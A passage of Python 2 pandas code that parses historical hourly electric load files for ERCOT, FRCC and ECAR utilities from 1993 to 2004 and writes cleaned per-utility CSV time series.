pd.read_fwf('%s/ercot/1997/SRGT97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 17583 : { 1993 : pd.read_fwf('%s/ercot/1993/STEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['STEC'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['STEC'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[9].str.replace(',', '').astype(float)/1000).values }, 44372 : { 1993 : pd.read_fwf('%s/ercot/1993/TUEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/TUEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/TUEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/TUE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TUE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TUEC'].loc[2:].astype(int)/1000).values }, 18715 : { 1993 : pd.read_csv('%s/ercot/1993/TMPP93' % (fulldir), skiprows=7, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/TMPP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TMPP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['TMPP'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[10].str.replace(',', '').astype(float)/1000).values }, 18679 : { 1993 : pd.read_csv('%s/ercot/1993/TEXLA93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1995 : pd.read_fwf('%s/ercot/1995/TXLA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/TXLA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TXLA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TXLA'].loc[2:].astype(int)/1000).values }, 20404 : { 1993 : pd.read_fwf('%s/ercot/1993/WTU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('\s', '0')).astype(float).values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/WTU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/WTU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/WTU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['WTUC'].loc[2:].astype(int)/1000).values } } ercot[2409][1998][ercot[2409][1998] > 300] = 0 ercot[2409][1999][ercot[2409][1999] > 300] = 0 if not os.path.exists('./ercot'): os.mkdir('ercot') for k in ercot.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(ercot[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ercot[k][i]))) for i in ercot[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./ercot/%s.csv' % k) ###### FRCC # GAIN: 6909 # LAKE: 10623 # FMPA: 6567 # FPC: 6455 # FPL: 6452 # JEA: 9617 # KUA: 10376 # OUC: 14610 # TECO: 18454 # SECI: 21554 frcc = { 6909 : { 1993 : pd.read_fwf('%s/frcc/1993/GAIN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/frcc/1994/GAIN94' % (fulldir), header=None, sep=' ', skipinitialspace=True, skipfooter=2, skiprows=5).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/GAIN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/frcc/1996/GAIN96' % (fulldir), sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/GAIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/GAIN98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3, header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/GAIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/GAIN00' % (fulldir), header=None).iloc[:, 4:].values.ravel(), 2002 : pd.read_excel('%s/frcc/2002/GAIN02' % (fulldir), sheetname=1, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(), 2003 : pd.read_excel('%s/frcc/2003/GAIN03' % (fulldir), sheetname=2, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(), 2004 : pd.read_excel('%s/frcc/2004/GAIN04' % (fulldir), sheetname=0, header=None).iloc[:, 8:].values.ravel() }, 10623: { 1993 : pd.read_fwf('%s/frcc/1993/LAKE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/LAKE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/LAKE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/LAKE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/LAKE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/LAKE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/LAKE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/LAKE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/frcc/2001/LAKE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/LAKE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 6567 : { 1993 : pd.read_fwf('%s/frcc/1993/FMPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/FMPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/FMPA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/FMPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/FMPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/FMPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/FMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(), 2001 : pd.read_csv('%s/frcc/2001/FMPA01' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6).iloc[:, 2:-1].values.ravel(), 2002 : pd.read_csv('%s/frcc/2002/FMPA02' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(), 2003 : pd.read_csv('%s/frcc/2003/FMPA03' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/frcc/2004/FMPA04' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6, skipfooter=1).iloc[:, 1:].values.ravel() }, 6455 : { 1993 : pd.read_csv('%s/frcc/1993/FPC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1994 : pd.read_csv('%s/frcc/1994/FPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 1995 : pd.read_csv('%s/frcc/1995/FPC95' % (fulldir), engine='python', header=None)[0].values, 1996 : pd.read_excel('%s/frcc/1996/FPC96' % (fulldir), header=None, skiprows=2, skipfooter=1).iloc[:, 6:].values.ravel(), 1998 : pd.read_excel('%s/frcc/1998/FPC98' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(), 1999 : pd.read_excel('%s/frcc/1999/FPC99' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2000 : pd.read_excel('%s/frcc/2000/FPC00' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2001 : pd.read_excel('%s/frcc/2001/FPC01' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(), 2002 : pd.read_excel('%s/frcc/2002/FPC02' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2004 : pd.read_excel('%s/frcc/2004/FPC04' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel() }, 6452 : { 1993 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1993/FPL93' % (fulldir), 'r').readlines()]).iloc[:365, :24].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1994 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1994/FPL94' % (fulldir), 'r').readlines()]).iloc[3:, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1995 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1995/FPL95' % (fulldir), 'r').readlines()[3:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1996 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1996/FPL96' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1997 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1997/FPL97' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1998 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1998/FPL98' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1999 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1999/FPL99' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2000 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2000/FPL00' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2001 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2001/FPL01' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2002 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2002/FPL02' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2003 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2003/FPL03' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2004 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2004/FPL04' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel() }, 9617 : { 1993 : pd.read_csv('%s/frcc/1993/JEA93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1994 : pd.read_csv('%s/frcc/1994/JEA94' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1996 : pd.read_fwf('%s/frcc/1996/JEA96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/JEA97' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/JEA98' % (fulldir), sep='\t', header=None)[2].values, 1999 : pd.read_csv('%s/frcc/1999/JEA99' % (fulldir), sep='\t', header=None)[2].values, 2000 : pd.read_excel('%s/frcc/2000/JEA00' % (fulldir), header=None)[2].values, 2001 : pd.read_excel('%s/frcc/2001/JEA01' % (fulldir), header=None, skiprows=2)[2].values, 2002 : pd.read_excel('%s/frcc/2002/JEA02' % (fulldir), header=None, skiprows=1)[2].values, 2003 : pd.read_excel('%s/frcc/2003/JEA03' % (fulldir), header=None, skiprows=1)[2].values, 2004 : pd.read_excel('%s/frcc/2004/JEA04' % (fulldir), header=None, skiprows=1)[2].values }, 10376 : { 1994 : pd.read_csv('%s/frcc/1994/KUA94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/frcc/1995/KUA95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/frcc/1997/KUA97' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 2001 : pd.read_csv('%s/frcc/2001/KUA01' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/frcc/2002/KUA02' % (fulldir), skipfooter=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel() }, 14610 : { 1993 : pd.read_fwf('%s/frcc/1993/OUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/OUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/OUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/OUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/OUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/OUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/OUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/OUC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/frcc/2001/OUC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/OUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 18454 : { 1993 : pd.read_fwf('%s/frcc/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/TECO98' % (fulldir), engine='python', skiprows=3, header=None)[0].values, 1999 : pd.read_csv('%s/frcc/1999/TECO99' % (fulldir), engine='python', skiprows=3, header=None)[0].values, 2000 : pd.read_csv('%s/frcc/2000/TECO00' % (fulldir), engine='python', skiprows=3, header=None)[0].str[:4].astype(int).values, 2001 : pd.read_csv('%s/frcc/2001/TECO01' % (fulldir), skiprows=3, header=None)[0].values, 2002 : pd.read_csv('%s/frcc/2002/TECO02' % (fulldir), sep='\t').loc[:, 'HR1':].values.ravel(), 2003 : pd.read_csv('%s/frcc/2003/TECO03' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True).iloc[:, 2:].values.ravel() }, 21554 : { 1993 : pd.read_fwf('%s/frcc/1993/SECI93' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/SECI94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/SECI95' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/SECI96' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/SECI97' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/SECI99' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/SECI00' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/SECI02' % (fulldir), header=None).iloc[:, 3:].values.ravel(), 2004 : pd.read_fwf('%s/frcc/2004/SECI04' % (fulldir), header=None).iloc[:, 3:].values.ravel() } } frcc[6455][1995][frcc[6455][1995] > 10000] = 0 frcc[9617][2002][frcc[9617][2002] > 10000] = 0 frcc[10376][1995][frcc[10376][1995] > 300] = 0 if not os.path.exists('./frcc'): os.mkdir('frcc') for k in frcc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(frcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(frcc[k][i]))) for i in frcc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./frcc/%s.csv' % k) ###### ECAR # AEP: 829 # APS: 538 # AMPO: 40577 # BREC: 1692 # BPI: 7004 # CEI: 3755 # CGE: 3542 # CP: 4254 # DPL: 4922 # DECO: 5109 # DLCO: 5487 # EKPC: 5580 # HEC: 9267 # IPL: 9273 # KUC: 10171 # LGE: 11249 # NIPS: 13756 # OE: 13998 # OVEC: 14015 # PSI: 15470 # SIGE: 17633 # TE: 18997 # WVPA: 40211 # CINRGY: 3260 -> Now part of 3542 # FE: 32208 # MCCP: ecar = { 829 : { 1993 : pd.read_fwf('%s/ecar/1993/AEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/AEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/AEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/AEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/AEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/AEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/AEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/AEP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/AEP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/AEP02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/AEP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/AEP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 538 : { 1993 : pd.read_fwf('%s/ecar/1993/APS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/APS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/APS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 40577 : { 2001 : pd.read_fwf('%s/ecar/2001/AMPO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/AMPO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/AMPO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/AMPO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 1692 : { 1993 : pd.read_fwf('%s/ecar/1993/BREC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/BREC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/BREC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/BREC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/BREC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/BREC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/BREC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/BREC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/BREC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/BREC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/BREC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/BREC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 7004 : { 1994 : pd.read_fwf('%s/ecar/1994/BPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : 